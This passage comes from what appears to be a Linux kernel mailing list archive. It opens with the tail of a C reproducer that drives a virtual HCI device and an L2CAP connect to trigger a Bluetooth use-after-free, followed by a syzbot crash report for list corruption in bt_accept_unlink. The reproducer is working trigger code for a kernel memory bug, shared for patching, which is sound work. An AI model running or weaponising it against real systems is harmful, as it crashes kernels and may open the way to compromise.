struct mgmt_hdr { uint16_t opcode, index, len; } __attribute__((packed));
#define MGMT_OP_SET_POWERED 0x0005
#define MGMT_OP_SET_CONNECTABLE 0x000b
int main(void)
{
printf("[*] open vhci\n");
vhci_fd = open("/dev/vhci", O_RDWR);
if (vhci_fd < 0) { perror("vhci"); return 1; }
uint8_t c[2] = {HCI_VENDOR_PKT, 0}; write(vhci_fd, c, 2);
printf("[*] start vhci init thread\n");
pthread_t t; pthread_create(&t, 0, init_thr, 0);
sleep(6);
/* Power on via MGMT */
int mgmt = socket(AF_BLUETOOTH, SOCK_RAW, BTPROTO_HCI);
if (mgmt >= 0) {
struct sockaddr_hci ha = {AF_BLUETOOTH, 0xffff,
HCI_CHANNEL_CONTROL};
if (bind(mgmt, (struct sockaddr *)&ha, sizeof(ha)) == 0) {
uint8_t cmd[256];
struct mgmt_hdr *hdr = (struct mgmt_hdr *)cmd;
hdr->opcode = MGMT_OP_SET_POWERED; hdr->index = 0; hdr->len
= 1;
cmd[sizeof(*hdr)] = 1;
write(mgmt, cmd, sizeof(*hdr) + 1);
usleep(200000);
hdr->opcode = MGMT_OP_SET_CONNECTABLE;
write(mgmt, cmd, sizeof(*hdr) + 1);
usleep(200000);
}
close(mgmt);
}
/* L2CAP connect triggers hci_connect_acl → hci_acl_create_conn_sync */
printf("[*] L2CAP connect (trigger)\n");
int l2 = socket(AF_BLUETOOTH, SOCK_SEQPACKET, BTPROTO_L2CAP);
if (l2 >= 0) {
struct sockaddr_l2 ba; memset(&ba, 0, sizeof(ba));
ba.l2_family = AF_BLUETOOTH; ba.l2_bdaddr_type = BDADDR_BREDR;
bind(l2, (struct sockaddr *)&ba, sizeof(ba));
struct sockaddr_l2 ca; memset(&ca, 0, sizeof(ca));
ca.l2_family = AF_BLUETOOTH; ca.l2_psm = 1;
ca.l2_bdaddr_type = BDADDR_BREDR;
memset(ca.l2_bdaddr, 0x11, 6);
connect(l2, (struct sockaddr *)&ca, sizeof(ca));
close(l2);
}
usleep(500000);
pthread_cancel(t); pthread_join(t, 0); close(vhci_fd);
printf("[*] done. Check dmesg for KASAN slab-use-after-free.\n");
return 0;
}
---8<---
Hope this helps with the patch. Let me know if you need additional
information from the test setup.
[1]
https://sashiko.dev/#/patchset/20260611152039.2176565-1-oss%40fourdim.xyz
^ permalink raw reply
* [syzbot] [bluetooth?] INFO: trying to register non-static key in bt_accept_unlink
From: syzbot @ 2026-06-13 8:24 UTC (permalink / raw)
To: linux-bluetooth, linux-kernel, luiz.dentz, marcel, syzkaller-bugs
Hello,
syzbot found the following issue on:
HEAD commit: 2d3090a8aeb5 Merge tag 'v7.1-p5' of git://git.kernel.org/p..
git tree: upstream
console output: https://syzkaller.appspot.com/x/log.txt?x=157291b6580000
kernel config: https://syzkaller.appspot.com/x/.config?x=65472e27d1590a04
dashboard link: https://syzkaller.appspot.com/bug?extid=534002670dd34a114fdc
compiler: Debian clang version 21.1.8 (++20251221033036+2078da43e25a-1~exp1~20251221153213.50), Debian LLD 21.1.8
Unfortunately, I don't have any reproducer for this issue yet.
Downloadable assets:
disk image: https://storage.googleapis.com/syzbot-assets/90834e94de32/disk-2d3090a8.raw.xz
vmlinux: https://storage.googleapis.com/syzbot-assets/e27c57900a9a/vmlinux-2d3090a8.xz
kernel image: https://storage.googleapis.com/syzbot-assets/210244c0b7d3/bzImage-2d3090a8.xz
IMPORTANT: if you fix the issue, please add the following tag to the commit:
Reported-by: syzbot+534002670dd34a114fdc@syzkaller.appspotmail.com
Bluetooth: hci1: hardware error 0x00
INFO: trying to register non-static key.
The code is fine but needs lockdep annotation, or maybe
you didn't initialize this object before use?
turning off the locking correctness validator.
CPU: 1 UID: 0 PID: 5637 Comm: kworker/u9:3 Tainted: G L syzkaller #0 PREEMPT(full)
Tainted: [L]=SOFTLOCKUP
Hardware name: Google Google Compute Engine/Google Compute Engine, BIOS Google 05/09/2026
Workqueue: hci1 hci_error_reset
Call Trace:
<TASK>
dump_stack_lvl+0xe8/0x150 lib/dump_stack.c:120
assign_lock_key+0x133/0x150 kernel/locking/lockdep.c:984
register_lock_class+0xcc/0x2e0 kernel/locking/lockdep.c:1299
__lock_acquire+0xad/0x2cf0 kernel/locking/lockdep.c:5112
lock_acquire+0x106/0x350 kernel/locking/lockdep.c:5868
__raw_spin_lock_bh include/linux/spinlock_api_smp.h:150 [inline]
_raw_spin_lock_bh+0x36/0x50 kernel/locking/spinlock.c:182
spin_lock_bh include/linux/spinlock.h:348 [inline]
bt_accept_unlink+0x65/0x2c0 net/bluetooth/af_bluetooth.c:265
l2cap_sock_teardown_cb+0x17e/0x490 net/bluetooth/l2cap_sock.c:1682
l2cap_chan_del+0xb5/0x610 net/bluetooth/l2cap_core.c:658
l2cap_conn_del+0x33d/0x570 net/bluetooth/l2cap_core.c:1804
hci_disconn_cfm include/net/bluetooth/hci_core.h:2154 [inline]
hci_conn_hash_flush+0x10d/0x260 net/bluetooth/hci_conn.c:2736
hci_dev_close_sync+0x85d/0x1150 net/bluetooth/hci_sync.c:5383
hci_dev_do_close net/bluetooth/hci_core.c:502 [inline]
hci_error_reset+0x127/0x4c0 net/bluetooth/hci_core.c:998
process_one_work kernel/workqueue.c:3314 [inline]
process_scheduled_works+0xb5d/0x1860 kernel/workqueue.c:3397
worker_thread+0xa53/0xfc0 kernel/workqueue.c:3478
kthread+0x389/0x470 kernel/kthread.c:436
ret_from_fork+0x514/0xb70 arch/x86/kernel/process.c:158
ret_from_fork_asm+0x1a/0x30 arch/x86/entry/entry_64.S:245
</TASK>
slab kmalloc-2k start ffff888029aaa000 pointer offset 1400 size 2048
list_del corruption. prev->next should be ffff8880682f5578, but was 0000000000000001. (prev=ffff888029aaa578)
------------[ cut here ]------------
kernel BUG at lib/list_debug.c:64!
Oops: invalid opcode: 0000 [#1] SMP KASAN NOPTI
CPU: 1 UID: 0 PID: 5637 Comm: kworker/u9:3 Tainted: G L syzkaller #0 PREEMPT(full)
Tainted: [L]=SOFTLOCKUP
Hardware name: Google Google Compute Engine/Google Compute Engine, BIOS Google 05/09/2026
Workqueue: hci1 hci_error_reset
RIP: 0010:__list_del_entry_valid_or_report+0x15a/0x190 lib/list_debug.c:62
Code: e8 6b e7 52 fd 43 80 3c 2c 00 74 08 4c 89 ff e8 3c 8a 74 fd 49 8b 17 48 c7 c7 a0 be 28 8c 48 89 de 4c 89 f9 e8 e7 26 6b fc 90 <0f> 0b 4c 89 f7 e8 3c e7 52 fd 43 80 3c 2c 00 74 08 4c 89 ff e8 0d
RSP: 0018:ffffc9000202f800 EFLAGS: 00010246
RAX: 000000000000006d RBX: ffff8880682f5578 RCX: 5386ffdc73148000
RDX: 0000000000000000 RSI: 0000000000000201 RDI: 0000000000000000
RBP: dffffc0000000000 R08: 0000000000000003 R09: 0000000000000004
R10: dffffc0000000000 R11: fffffbfff1cfd240 R12: 1ffff110053554af
R13: dffffc0000000000 R14: ffff888029aaa578 R15: ffff888029aaa578
FS: 0000000000000000(0000) GS:ffff8881253a0000(0000) knlGS:0000000000000000
CS: 0010 DS: 0000 ES: 0000 CR0: 0000000080050033
CR2: 00007f1552dd9062 CR3: 000000001f339000 CR4: 0000000000350ef0
Call Trace:
<TASK>
__list_del_entry_valid include/linux/list.h:132 [inline]
__list_del_entry include/linux/list.h:246 [inline]
list_del_init include/linux/list.h:318 [inline]
bt_accept_unlink+0x74/0x2c0 net/bluetooth/af_bluetooth.c:266
l2cap_sock_teardown_cb+0x17e/0x490 net/bluetooth/l2cap_sock.c:1682
l2cap_chan_del+0xb5/0x610 net/bluetooth/l2cap_core.c:658
l2cap_conn_del+0x33d/0x570 net/bluetooth/l2cap_core.c:1804
hci_disconn_cfm include/net/bluetooth/hci_core.h:2154 [inline]
hci_conn_hash_flush+0x10d/0x260 net/bluetooth/hci_conn.c:2736
hci_dev_close_sync+0x85d/0x1150 net/bluetooth/hci_sync.c:5383
hci_dev_do_close net/bluetooth/hci_core.c:502 [inline]
hci_error_reset+0x127/0x4c0 net/bluetooth/hci_core.c:998
process_one_work kernel/workqueue.c:3314 [inline]
process_scheduled_works+0xb5d/0x1860 kernel/workqueue.c:3397
worker_thread+0xa53/0xfc0 kernel/workqueue.c:3478
kthread+0x389/0x470 kernel/kthread.c:436
ret_from_fork+0x514/0xb70 arch/x86/kernel/process.c:158
ret_from_fork_asm+0x1a/0x30 arch/x86/entry/entry_64.S:245
</TASK>
Modules linked in:
---[ end trace 0000000000000000 ]---
RIP: 0010:__list_del_entry_valid_or_report+0x15a/0x190 lib/list_debug.c:62
Code: e8 6b e7 52 fd 43 80 3c 2c 00 74 08 4c 89 ff e8 3c 8a 74 fd 49 8b 17 48 c7 c7 a0 be 28 8c 48 89 de 4c 89 f9 e8 e7 26 6b fc 90 <0f> 0b 4c 89 f7 e8 3c e7 52 fd 43 80 3c 2c 00 74 08 4c 89 ff e8 0d
RSP: 0018:ffffc9000202f800 EFLAGS: 00010246
RAX: 000000000000006d RBX: ffff8880682f5578 RCX: 5386ffdc73148000
RDX: 0000000000000000 RSI: 0000000000000201 RDI: 0000000000000000
RBP: dffffc0000000000 R08: 0000000000000003 R09: 0000000000000004
R10: dffffc0000000000 R11: fffffbfff1cfd240 R12: 1ffff110053554af
R13: dffffc0000000000 R14: ffff888029aaa578 R15: ffff888029aaa578
FS: 0000000000000000(0000) GS:ffff8881253a0000(0000) knlGS:0000000000000000
CS: 0010 DS: 0000 ES: 0000 CR0: 0000000080050033
CR2: 00007f1552dd9062 CR3: 000000001f339000 CR4: 0000000000350ef0
---
This report is generated by a bot. It may contain errors.
See https://goo.gl/tpsmEJ for more information about syzbot.
syzbot engineers can be reached at syzkaller@googlegroups.com.
syzbot will keep track of this issue. See:
https://goo.gl/tpsmEJ#status for how to communicate with syzbot.
If the report is already addressed, let syzbot know by replying with:
#syz fix: exact-commit-title
If you want to overwrite report's subsystems, reply with:
#syz set subsystems: new-subsystem
(See the list of subsystem names on the web dashboard)
If the report is a duplicate of another one, reply with:
#syz dup: exact-subject-of-another-report
If you want to undo deduplication, reply with:
#syz undup
^ permalink raw reply
page: next (older) | prev (newer) | latest
- recent:[subjects (threaded)|topics (new)|topics (active)]
This is a public inbox, see mirroring instructions
for how to clone and mirror all data and code used for this inbox